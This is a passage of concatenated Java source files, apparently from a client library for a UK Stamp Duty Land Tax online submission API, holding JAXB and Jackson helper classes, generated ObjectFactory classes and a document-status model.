JAXBContext apiRequestContext = JAXBContext.newInstance("com.redmonkeysoftware.sdlt.model.request.api"); private com.redmonkeysoftware.sdlt.model.request.sdlt.ObjectFactory sdltObjectFactory = new com.redmonkeysoftware.sdlt.model.request.sdlt.ObjectFactory(); private com.redmonkeysoftware.sdlt.model.request.sdltmessage.ObjectFactory sdltMessageObjectFactory = new com.redmonkeysoftware.sdlt.model.request.sdltmessage.ObjectFactory(); private com.redmonkeysoftware.sdlt.model.request.api.ObjectFactory apiObjectFactory = new com.redmonkeysoftware.sdlt.model.request.api.ObjectFactory(); private JAXBContext responseContext = JAXBContext.newInstance("com.redmonkeysoftware.sdlt.model.response"); private com.redmonkeysoftware.sdlt.model.response.ObjectFactory responseObjectFactory = new com.redmonkeysoftware.sdlt.model.response.ObjectFactory(); private SdltXmlHelper() throws JAXBException { } private Marshaller createMarshaller(JAXBContext context, String schemaLocation) throws JAXBException { Marshaller marshaller = context.createMarshaller(); marshaller.setProperty(Marshaller.JAXB_ENCODING, "UTF-8"); //NOI18N marshaller.setProperty(Marshaller.JAXB_FORMATTED_OUTPUT, Boolean.TRUE); if (StringUtils.isNotBlank(schemaLocation)) { marshaller.setProperty(Marshaller.JAXB_SCHEMA_LOCATION, schemaLocation); } return marshaller; } private Unmarshaller createUnmarshaller(JAXBContext context) throws JAXBException { Unmarshaller unmarshaller = context.createUnmarshaller(); return unmarshaller; } public static synchronized SdltXmlHelper getInstance() throws JAXBException { if (instance == null) { instance = new SdltXmlHelper(); } return instance; } protected JAXBElement createStringType(String name, String value) { StringType st = sdltObjectFactory.createStringType(); st.setValue(value); JAXBElement jaxbe = new JAXBElement(new QName("http://sdlt.co.uk/SDLT", name), StringType.class, st); return jaxbe; } protected JAXBElement createBooleanType(String name, Boolean value) { BooleanType st = sdltObjectFactory.createBooleanType(); st.setValue(Objects.equals(Boolean.TRUE, value) ? "true" : "false"); JAXBElement jaxbe = new JAXBElement(new QName("http://sdlt.co.uk/SDLT", name), BooleanType.class, st); return jaxbe; } protected JAXBElement createDateType(String name, LocalDate value) { DateType st = sdltObjectFactory.createDateType(); st.setValue(value != null ? dateFormatter.format(value) : null); JAXBElement jaxbe = new JAXBElement(new QName("http://sdlt.co.uk/SDLT", name), DateType.class, st); return jaxbe; } protected JAXBElement createDateTimeType(String name, LocalDateTime value) { DateTimeType st = sdltObjectFactory.createDateTimeType(); st.setValue(value != null ? dateTimeFormatter.format(value) : null); JAXBElement jaxbe = new JAXBElement(new QName("http://sdlt.co.uk/SDLT", name), DateTimeType.class, st); return jaxbe; } protected JAXBElement<XMLGregorianCalendar> createXmlGregorianCalendarType(String name, LocalDate value) { StringType st = sdltObjectFactory.createStringType(); st.setValue(value != null ? dateFormatter.format(value) : null); JAXBElement jaxbe = new JAXBElement(new QName("http://sdlt.co.uk/API", name), XMLGregorianCalendar.class, st); return jaxbe; } public Test convertToTest(String testValue) { Test request = apiObjectFactory.createTest(); request.setData(testValue); return request; } public GetAccountOTP convertToGetAccountOTP(Integer documentId) { GetAccountOTP request = apiObjectFactory.createGetAccountOTP(); if (documentId != null) { request.setDocumentID(documentId); } return request; } public GetDocumentsStatus convertToGetDocumentsStatus(String documentId) { GetDocumentsStatus status = apiObjectFactory.createGetDocumentsStatus(); Filter filter = apiObjectFactory.createGetDocumentsStatusFilter(); if (StringUtils.isNotBlank(documentId)) { filter.getCreateDateFromOrCreateDateToOrDocumentID().add(apiObjectFactory.createGetDocumentsStatusFilterDocumentID(documentId)); } // if (from != null) { // filter.getCreateDateFromOrCreateDateTo().add(createXmlGregorianCalendarType("CreateDateFrom", from)); // } // if (to != null) { // filter.getCreateDateFromOrCreateDateTo().add(createXmlGregorianCalendarType("CreateDateTo", to)); // } status.setFilter(filter); return status; } public GetPrintoutDocuments convertToPrintoutDocuments(String documentId) { GetPrintoutDocuments request = apiObjectFactory.createGetPrintoutDocuments(); if (StringUtils.isNotBlank(documentId)) { GetPrintoutDocuments.Document document = apiObjectFactory.createGetPrintoutDocumentsDocument(); document.setDocumentID(documentId); request.getDocument().add(document); } return request; } protected String createApiXml(Object requestObject, String url) throws JAXBException { String responseXml = marshalApiRequestObject(requestObject, "http://sdlt.co.uk/API https://online.sdlt.co.uk/schema/v1-0/" + url + ".xsd"); return responseXml; } protected String createSdltXml(Object requestObject) throws JAXBException { String responseXml = marshalSdltRequestObject(requestObject, "http://sdlt.co.uk/SDLT https://online.sdlt.co.uk/schema/v1-0/SDLT.xsd"); return responseXml; } // protected String createSdltMessage(Object requestObject, String url) throws JAXBException { // SDLTMessage message = sdltMessageObjectFactory.createSDLTMessage(); // SDLTMessage.Body body = sdltMessageObjectFactory.createSDLTMessageBody(); // body.getAny().add(requestObject); // message.setBody(body); // message.setVersion("1.0"); // SDLTMessage.Header header = sdltMessageObjectFactory.createSDLTMessageHeader(); // message.setHeader(header); // String responseXml = marshalSdltMessageRequestObject(message, "http://sdlt.co.uk/Header https://online.sdlt.co.uk/schema/v1-0/SDLTMessage.xsd http://sdlt.co.uk/API https://online.sdlt.co.uk/schema/v1-0/" + url + ".xsd"); // return responseXml; // } // protected String createImportDocumentsMessage(SDLT sdlt) throws JAXBException { // String responseXml = createApiXml(apiObjectFactory.createImportDocuments(), "ImportDocuments"); // String sdltXml = marshalSdltRequestObject(sdlt, "http://sdlt.co.uk/API https://online.sdlt.co.uk/schema/v1-0/SDLT.xsd"); // sdltXml = StringUtils.removeStartIgnoreCase(sdltXml, "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>"); // // //Need to manually put the SDLT node in the middle of the ImportDocuments node // responseXml = StringUtils.replace(responseXml, "ImportDocuments.xsd", "ImportXsdDocuments"); // String before = StringUtils.substringBefore(responseXml, "ImportDocuments"); // String namespace = StringUtils.substringAfterLast(before, "<"); // String attributes = StringUtils.substringBefore(StringUtils.substringAfter(responseXml, "ImportDocuments"), ">"); // String after = StringUtils.substringAfterLast(responseXml, "ImportDocuments"); // responseXml = before + "ImportDocuments" + StringUtils.removeStart(StringUtils.trim(attributes), "/") + ">" + sdltXml + "</" + namespace + "ImportDocuments>" + StringUtils.removeStart(StringUtils.trim(after), "/>"); // responseXml = StringUtils.replace(responseXml, "ImportXsdDocuments", "ImportDocuments.xsd"); // //responseXml = responseXml.replaceAll("(?<=[:<]ImportDocuments>)[^<]*(?=</(\\w+:)?ImportDocuments>)", sdltXml); // //responseXml = StringUtils.replace(responseXml, "<ns3:ImportDocuments/>", "<ns3:ImportDocuments>" + sdltXml + "</ns3:ImportDocuments>"); // //responseXml = StringUtils.replace(responseXml, "<ns2:ImportDocuments/>", "<ns2:ImportDocuments>" + sdltXml + "</ns2:ImportDocuments>"); // //responseXml = StringUtils.replace(responseXml, "<ImportDocuments/>", "<ImportDocuments>" + sdltXml + "</ImportDocuments>"); // return responseXml; // } protected String marshalApiRequestObject(Object requestObject, String schemaLocation) throws JAXBException { Marshaller marshaller = createMarshaller(apiRequestContext, schemaLocation); StringWriter swriter = new StringWriter(); marshaller.marshal(requestObject, swriter); return swriter.toString(); } protected String marshalSdltRequestObject(Object requestObject, String schemaLocation) throws JAXBException { Marshaller marshaller = createMarshaller(sdltRequestContext, schemaLocation); StringWriter swriter = new StringWriter(); marshaller.marshal(requestObject, swriter); return swriter.toString(); } protected String marshalSdltMessageRequestObject(Object requestObject, String schemaLocation) throws JAXBException { Marshaller marshaller = createMarshaller(sdltMessageRequestContext, schemaLocation); StringWriter swriter = new StringWriter(); marshaller.marshal(requestObject, swriter); return swriter.toString(); } public String generateRequestXml(String url, Object apiRequest) throws JAXBException { String apiRequestXml = null; if (apiRequest instanceof SDLT) { String sdltXml = createSdltXml(apiRequest); sdltXml = StringUtils.removeStartIgnoreCase(sdltXml, "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>"); apiRequestXml = "<ImportDocuments xmlns=\"http://sdlt.co.uk/API\" xsi:schemaLocation=\"http://sdlt.co.uk/API https://online.sdlt.co.uk/schema/v1-0/ImportDocuments.xsd\">\n" + sdltXml + "\n</ImportDocuments>"; } else { apiRequestXml = createApiXml(apiRequest, url); } String xml = StringUtils.removeStartIgnoreCase(apiRequestXml, "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>"); xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" + "<SDLTMessage xmlns=\"http://sdlt.co.uk/Header\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://sdlt.co.uk/Header https://online.sdlt.co.uk/schema/v1-0/SDLTMessage.xsd\">\n" + " <Version>1.0</Version>\n" + " <Header />\n" + " <Body>\n" + xml + "\n </Body>\n" + "</SDLTMessage>"; // String requestString = SdltXmlHelper.getInstance().createSdltMessage(requestObject, url); logger.log(Level.INFO, String.format("Sending request: %s", xml)); return xml; } public SDLT convertToSDLT(SdltImportRequest request) { SDLT sdlt = sdltObjectFactory.createSDLT(); try { for (Field field : request.getClass().getDeclaredFields()) { if (field.isAnnotationPresent(SdltXmlValue.class)) { SdltXmlValue xmlValue = field.getAnnotation(SdltXmlValue.class); field.setAccessible(true); Object value = field.get(request); if (value instanceof String) { sdlt.getFIDOrFRefOrFDateCreated().add(createStringType(xmlValue.value(), (String) value)); } else if (value instanceof Boolean) { sdlt.getFIDOrFRefOrFDateCreated().add(createBooleanType(xmlValue.value(), (Boolean) value)); } else if (value instanceof Integer) { sdlt.getFIDOrFRefOrFDateCreated().add(createStringType(xmlValue.value(), ((Integer) value).toString())); } else if (value instanceof BigDecimal) { sdlt.getFIDOrFRefOrFDateCreated().add(createStringType(xmlValue.value(), ((BigDecimal) value).setScale(0, RoundingMode.FLOOR).toPlainString())); } else if (value instanceof LocalDate) { sdlt.getFIDOrFRefOrFDateCreated().add(createDateType(xmlValue.value(), (LocalDate) value)); } else if (value instanceof LocalDateTime) { sdlt.getFIDOrFRefOrFDateCreated().add(createDateTimeType(xmlValue.value(), (LocalDateTime) value)); } else if (value instanceof BaseEnumType) { sdlt.getFIDOrFRefOrFDateCreated().add(createStringType(xmlValue.value(), ((BaseEnumType) value).getCode())); } else if (value != null) { logger.log(Level.WARNING, "Not sure how to map field of type: " + field.getClass().getName()); } } } } catch (IllegalAccessException | IllegalArgumentException | SecurityException e) { Logger.getLogger(this.getClass().getName()).log(Level.SEVERE, "Error generating SDLT", e); } return sdlt; } public SDLT generateTestSdlt() throws JAXBException { // SDLT sdlt2 = sdltObjectFactory.createSDLT(); // String sdltXml = marshalSdltRequestObject(sdlt2, "http://sdlt.co.uk/SDLT https://online.sdlt.co.uk/schema/v1-0/SDLT.xsd"); // // System.out.println(sdltXml); // ImportDocuments id2 = apiObjectFactory.createImportDocuments(); // String idXml = marshalApiRequestObject(id2, "http://sdlt.co.uk/API https://online.sdlt.co.uk/schema/v1-0/ImportDocuments.xsd"); // System.out.println(idXml); // SDLTMessage message = sdltMessageObjectFactory.createSDLTMessage(); // SDLTMessage.Body body = sdltMessageObjectFactory.createSDLTMessageBody(); // message.setBody(body); // message.setVersion("1.0"); // SDLTMessage.Header header = sdltMessageObjectFactory.createSDLTMessageHeader(); // message.setHeader(header); // System.out.println(marshalSdltMessageRequestObject(message, "http://sdlt.co.uk/Header https://online.sdlt.co.uk/schema/v1-0/SDLTMessage.xsd")); //ImportDocuments importDocuments = apiObjectFactory.createImportDocuments(); SDLT sdlt = sdltObjectFactory.createSDLT(); StringType id = sdltObjectFactory.createStringType(); id.setValue("test"); sdlt.getFIDOrFRefOrFDateCreated().add(sdltObjectFactory.createSDLTFID(id)); //importDocuments.getAny().add(sdlt); //return createImportDocumentsMessage(sdlt); return sdlt; } public <T extends Object> T unmarshalResponseXml(InputStream xml, Class<T> type) throws JAXBException { Unmarshaller responseUnmarshaller = createUnmarshaller(responseContext); Object unmarshalled = responseUnmarshaller.unmarshal(xml); try { return (T) unmarshalled; } catch (Throwable te) { logger.log(Level.SEVERE, "Unmarshalled class from xml is not of the correct type", te); } return null; } } <file_sep>/target/generated-sources/jaxb/com/redmonkeysoftware/sdlt/model/request/api/ObjectFactory.java // // This file was generated by the JavaTM Architecture for XML Binding(JAXB) Reference Implementation, v2.3.0 // See <a href="https://javaee.github.io/jaxb-v2/">https://javaee.github.io/jaxb-v2/</a> // Any modifications to this file will be lost upon recompilation of the source schema. // Generated on: 2021.01.19 at 05:38:09 PM GMT // package com.redmonkeysoftware.sdlt.model.request.api; import javax.xml.bind.JAXBElement; import javax.xml.bind.annotation.XmlElementDecl; import javax.xml.bind.annotation.XmlRegistry; import javax.xml.datatype.XMLGregorianCalendar; import javax.xml.namespace.QName; /** * This object contains factory methods for each * Java content interface and Java element interface * generated in the com.redmonkeysoftware.sdlt.model.request.api package. * <p>An ObjectFactory allows you to programatically * construct new instances of the Java representation * for XML content. The Java representation of XML * content can consist of schema derived interfaces * and classes representing the binding of schema * type definitions, element declarations and model * groups. Factory methods for each of these are * provided in this class. * */ @XmlRegistry public class ObjectFactory { private final static QName _GetDocumentsStatusFilterCreateDateFrom_QNAME = new QName("http://sdlt.co.uk/API", "CreateDateFrom"); private final static QName _GetDocumentsStatusFilterCreateDateTo_QNAME = new QName("http://sdlt.co.uk/API", "CreateDateTo"); private final static QName _GetDocumentsStatusFilterDocumentID_QNAME = new QName("http://sdlt.co.uk/API", "DocumentID"); /** * Create a new ObjectFactory that can be used to create new instances of schema derived classes for package: com.redmonkeysoftware.sdlt.model.request.api * */ public ObjectFactory() { } /** * Create an instance of {@link GetPrintoutDocuments } * */ public GetPrintoutDocuments createGetPrintoutDocuments() { return new GetPrintoutDocuments(); } /** * Create an instance of {@link GetDocumentsStatus } * */ public GetDocumentsStatus createGetDocumentsStatus() { return new GetDocumentsStatus(); } /** * Create an instance of {@link GetAccountOTP } * */ public GetAccountOTP createGetAccountOTP() { return new GetAccountOTP(); } /** * Create an instance of {@link Test } * */ public Test createTest() { return new Test(); } /** * Create an instance of {@link GetPrintoutDocuments.Document } * */ public GetPrintoutDocuments.Document createGetPrintoutDocumentsDocument() { return new GetPrintoutDocuments.Document(); } /** * Create an instance of {@link ImportDocuments } * */ public ImportDocuments createImportDocuments() { return new ImportDocuments(); } /** * Create an instance of {@link GetDocumentsStatus.Filter } * */ public GetDocumentsStatus.Filter createGetDocumentsStatusFilter() { return new GetDocumentsStatus.Filter(); } /** * Create an instance of {@link JAXBElement }{@code <}{@link XMLGregorianCalendar }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link XMLGregorianCalendar }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/API", name = "CreateDateFrom", scope = GetDocumentsStatus.Filter.class) public JAXBElement<XMLGregorianCalendar> createGetDocumentsStatusFilterCreateDateFrom(XMLGregorianCalendar value) { return new JAXBElement<XMLGregorianCalendar>(_GetDocumentsStatusFilterCreateDateFrom_QNAME, XMLGregorianCalendar.class, GetDocumentsStatus.Filter.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link XMLGregorianCalendar }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link XMLGregorianCalendar }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/API", name = "CreateDateTo", scope = GetDocumentsStatus.Filter.class) public JAXBElement<XMLGregorianCalendar> createGetDocumentsStatusFilterCreateDateTo(XMLGregorianCalendar value) { return new JAXBElement<XMLGregorianCalendar>(_GetDocumentsStatusFilterCreateDateTo_QNAME, XMLGregorianCalendar.class, GetDocumentsStatus.Filter.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/API", name = "DocumentID", scope = GetDocumentsStatus.Filter.class) public JAXBElement<String> createGetDocumentsStatusFilterDocumentID(String value) { return new JAXBElement<String>(_GetDocumentsStatusFilterDocumentID_QNAME, String.class, GetDocumentsStatus.Filter.class, value); } } <file_sep>/src/main/java/com/redmonkeysoftware/sdlt/model/SdltJsonHelper.java package com.redmonkeysoftware.sdlt.model; import com.fasterxml.jackson.databind.DeserializationFeature; import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.SerializationFeature; import java.io.IOException; import java.io.InputStream; import java.util.List; import java.util.logging.Logger; import org.apache.commons.lang3.StringUtils; public class SdltJsonHelper { private final static Logger logger = Logger.getLogger(SdltXmlHelper.class.getName()); private static SdltJsonHelper instance; private final ObjectMapper mapper = new ObjectMapper(); private SdltJsonHelper() { mapper.enable(SerializationFeature.INDENT_OUTPUT); mapper.enable(SerializationFeature.INDENT_OUTPUT); mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false); mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false); mapper.configure(DeserializationFeature.ACCEPT_EMPTY_STRING_AS_NULL_OBJECT, true); mapper.configure(SerializationFeature.WRITE_DATES_AS_TIMESTAMPS, false); } public static synchronized SdltJsonHelper getInstance() { if (instance == null) { instance = new SdltJsonHelper(); } return instance; } public <T extends Object> T getJson(String json, Class<T> type) throws IOException { return (StringUtils.isNotBlank(json)) ? mapper.readValue(json, type) : null; } protected <T> List<T> getJsonList(String json, Class<T> type) throws IOException { return (StringUtils.isNotBlank(json)) ? mapper.readValue(json, mapper.getTypeFactory().constructCollectionType(List.class, type)) : null; } } <file_sep>/src/main/java/com/redmonkeysoftware/sdlt/model/SdltDocumentStatus.java package com.redmonkeysoftware.sdlt.model; import com.redmonkeysoftware.sdlt.model.response.GetDocumentsStatus; import com.redmonkeysoftware.sdlt.model.response.ImportDocuments; import java.io.Serializable; import java.util.Objects; import org.apache.commons.lang3.StringUtils; public class SdltDocumentStatus implements Serializable { private static final long serialVersionUID = -1305369534487660161L; protected String documentId; protected String customId; protected SdltDocumentStatusType status; protected String error; public SdltDocumentStatus withDocumentStatus(GetDocumentsStatus.Document doc) { this.documentId = doc.getDocumentID(); this.customId = doc.getCustomID(); this.status = SdltDocumentStatusType.parse(doc.getStatus()); return this; } public SdltDocumentStatus withDocumentImport(ImportDocuments.Document doc) { if ((doc.getError() != null) && (StringUtils.isNotBlank(doc.getError().getCode()))) { this.error = doc.getError().getCode() + ":" + doc.getError().getMessage(); } this.documentId = doc.getDocumentID(); this.customId = doc.getCustomID(); this.status = SdltDocumentStatusType.parse(doc.getStatus()); return this; } @Override public boolean equals(Object obj) { return ((obj instanceof SdltDocumentStatus) && (StringUtils.equals(documentId, ((SdltDocumentStatus) obj).getDocumentId())) && (StringUtils.equals(customId, ((SdltDocumentStatus) obj).getCustomId()))); } @Override public int hashCode() { int hash = 3; hash = 71 * hash + Objects.hashCode(this.documentId); hash = 71 * hash + Objects.hashCode(this.customId); return hash; } public boolean isAccepted() { return (Objects.equals(SdltDocumentStatusType.ACCEPTED, status)); } public boolean hasError() { return (StringUtils.isNotBlank(error)); } public String getDocumentId() { return documentId; } public void setDocumentId(String documentId) { this.documentId = documentId; } public SdltDocumentStatusType getStatus() { return status; } public void setStatus(SdltDocumentStatusType status) { this.status = status; } public String getCustomId() { return customId; } public void setCustomId(String customId) { this.customId = customId; } public String getError() { return error; } public void setError(String error) { this.error = error; } } <file_sep>/target/generated-sources/jaxb/com/redmonkeysoftware/sdlt/model/request/sdlt/ObjectFactory.java // // This file was generated by the JavaTM Architecture for XML Binding(JAXB) Reference Implementation, v2.3.0 // See <a href="https://javaee.github.io/jaxb-v2/">https://javaee.github.io/jaxb-v2/</a> // Any modifications to this file will be lost upon recompilation of the source schema. // Generated on: 2021.01.19 at 05:38:09 PM GMT // package com.redmonkeysoftware.sdlt.model.request.sdlt; import javax.xml.bind.JAXBElement; import javax.xml.bind.annotation.XmlElementDecl; import javax.xml.bind.annotation.XmlRegistry; import javax.xml.namespace.QName; /** * This object contains factory methods for each * Java content interface and Java element interface * generated in the com.redmonkeysoftware.sdlt.model.request.sdlt package. * <p>An ObjectFactory allows you to programatically * construct new instances of the Java representation * for XML content. The Java representation of XML * content can consist of schema derived interfaces * and classes representing the binding of schema * type definitions, element declarations and model * groups. Factory methods for each of these are * provided in this class. * */ @XmlRegistry public class ObjectFactory { private final static QName _SDLT_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT"); private final static QName _SDLTFID_QNAME = new QName("http://sdlt.co.uk/SDLT", "F_ID"); private final static QName _SDLTFRef_QNAME = new QName("http://sdlt.co.uk/SDLT", "F_Ref"); private final static QName _SDLTFDateCreated_QNAME = new QName("http://sdlt.co.uk/SDLT", "F_DateCreated"); private final static QName _SDLTFUserNotes_QNAME = new QName("http://sdlt.co.uk/SDLT", "F_UserNotes"); private final static QName _SDLTFFTBExemptionYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "F_FTBExemptionYesNo"); private final static QName _SDLTFClosedOffYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "F_ClosedOffYesNo"); private final static QName _SDLTFStampDutyPaidYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "F_StampDutyPaidYesNo"); private final static QName _SDLTFChequeNumber_QNAME = new QName("http://sdlt.co.uk/SDLT", "F_ChequeNumber"); private final static QName _SDLTFCountryCode_QNAME = new QName("http://sdlt.co.uk/SDLT", "F_CountryCode"); private final static QName _SDLTFConfidential_QNAME = new QName("http://sdlt.co.uk/SDLT", "F_Confidential"); private final static QName _SDLTFUserID_QNAME = new QName("http://sdlt.co.uk/SDLT", "F_UserID"); private final static QName _SDLTFUserIDs_QNAME = new QName("http://sdlt.co.uk/SDLT", "F_UserIDs"); private final static QName _SDLTSDLTUTRN_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_UTRN"); private final static QName _SDLTSDLTIRMark_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_IRMark"); private final static QName _SDLTFSubmissionStatus_QNAME = new QName("http://sdlt.co.uk/SDLT", "F_SubmissionStatus"); private final static QName _SDLTFSubmissionInfo_QNAME = new QName("http://sdlt.co.uk/SDLT", "F_SubmissionInfo"); private final static QName _SDLTFSubmissionDate_QNAME = new QName("http://sdlt.co.uk/SDLT", "F_SubmissionDate"); private final static QName _SDLTFReturnDate_QNAME = new QName("http://sdlt.co.uk/SDLT", "F_ReturnDate"); private final static QName _SDLTFSDLTID_QNAME = new QName("http://sdlt.co.uk/SDLT", "F_SDLTID"); private final static QName _SDLTSDLTPropertyTypeCode_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_PropertyTypeCode"); private final static QName _SDLTSDLTTransactionDescriptionCode_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_TransactionDescriptionCode"); private final static QName _SDLTSDLTInterestCreatedCode_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_InterestCreatedCode"); private final static QName _SDLTSDLTInterestCreatedCodeDetailed_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_InterestCreatedCodeDetailed"); private final static QName _SDLTSDLTDateOfTransaction_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_DateOfTransaction"); private final static QName _SDLTSDLTAnyRestrictionsYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_AnyRestrictionsYesNo"); private final static QName _SDLTSDLTIfYesRestrictionDetails_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_IfYesRestrictionDetails"); private final static QName _SDLTSDLTDateOfContract_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_DateOfContract"); private final static QName _SDLTSDLTAnyLandExchangedYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_AnyLandExchangedYesNo"); private final static QName _SDLTSDLTIfYesExchangedPostcode_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_IfYesExchangedPostcode"); private final static QName _SDLTSDLTIfYesExchangedBuildingNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_IfYesExchangedBuildingNo"); private final static QName _SDLTSDLTIfYesExchangedAddress1_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_IfYesExchangedAddress1"); private final static QName _SDLTSDLTIfYesExchangedAddress2_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_IfYesExchangedAddress2"); private final static QName _SDLTSDLTIfYesExchangedAddress3_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_IfYesExchangedAddress3"); private final static QName _SDLTSDLTIfYesExchangedAddress4_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_IfYesExchangedAddress4"); private final static QName _SDLTSDLTPursantToPreviousAgreementYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_PursantToPreviousAgreementYesNo"); private final static QName _SDLTSDLTClaimingTaxReliefYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_ClaimingTaxReliefYesNo"); private final static QName _SDLTSDLTIfYesTaxReliefReasonCode_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_IfYesTaxReliefReasonCode"); private final static QName _SDLTSDLTIfYesTaxReliefCharityNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_IfYesTaxReliefCharityNo"); private final static QName _SDLTSDLTIfYesTaxReliefAmount_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_IfYesTaxReliefAmount"); private final static QName _SDLTSDLTTotalConsiderationIncVAT_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_TotalConsiderationIncVAT"); private final static QName _SDLTSDLTPurchaserTypeCode_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_PurchaserTypeCode"); private final static QName _SDLTSDLTTotalConsiderationVAT_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_TotalConsiderationVAT"); private final static QName _SDLTSDLTConsiderationFormCode1_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_ConsiderationFormCode1"); private final static QName _SDLTSDLTConsiderationFormCode2_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_ConsiderationFormCode2"); private final static QName _SDLTSDLTConsiderationFormCode3_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_ConsiderationFormCode3"); private final static QName _SDLTSDLTConsiderationFormCode4_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_ConsiderationFormCode4"); private final static QName _SDLTSDLTTransactionLinkedYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_TransactionLinkedYesNo"); private final static QName _SDLTSDLTIfYesTotalLinkedConsiderationIncVAT_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_IfYesTotalLinkedConsiderationIncVAT"); private final static QName _SDLTSDLTTotalTaxDue_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_TotalTaxDue"); private final static QName _SDLTSDLTTotalTaxPaid_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_TotalTaxPaid"); private final static QName _SDLTSDLTTotalTaxPaidIncPenaltyYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_TotalTaxPaidIncPenaltyYesNo"); private final static QName _SDLTSDLTLeaseTypeCode_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_LeaseTypeCode"); private final static QName _SDLTSDLTLeaseStartDate_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_LeaseStartDate"); private final static QName _SDLTSDLTLeaseEndDate_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_LeaseEndDate"); private final static QName _SDLTSDLTRentFreePeriod_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_RentFreePeriod"); private final static QName _SDLTSDLTTotalAnnualRentIncVAT_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_TotalAnnualRentIncVAT"); private final static QName _SDLTSDLTEndDateForStartingRent_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_EndDateForStartingRent"); private final static QName _SDLTSDLTLaterRentKnownYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_LaterRentKnownYesNo"); private final static QName _SDLTSDLTLeaseAmountVAT_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_LeaseAmountVAT"); private final static QName _SDLTSDLTTotalLeasePremiumPayable_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_TotalLeasePremiumPayable"); private final static QName _SDLTSDLTNetPresentValue_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_NetPresentValue"); private final static QName _SDLTSDLTTotalLeasePremiumTaxPayable_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_TotalLeasePremiumTaxPayable"); private final static QName _SDLTSDLTTotalLeaseNPVTaxPayable_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_TotalLeaseNPVTaxPayable"); private final static QName _SDLTSDLTNumberOfPropertiesIncluded_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_NumberOfPropertiesIncluded"); private final static QName _SDLTSDLTPaperCertificateRemoved_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_PaperCertificateRemoved"); private final static QName _SDLTSDLTPropertyAddressPostcode_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_PropertyAddressPostcode"); private final static QName _SDLTSDLTPropertyAddressBuildingNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_PropertyAddressBuildingNo"); private final static QName _SDLTSDLTPropertyAddress1_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_PropertyAddress1"); private final static QName _SDLTSDLTPropertyAddress2_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_PropertyAddress2"); private final static QName _SDLTSDLTPropertyAddress3_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT_PropertyAddress3"); private final static 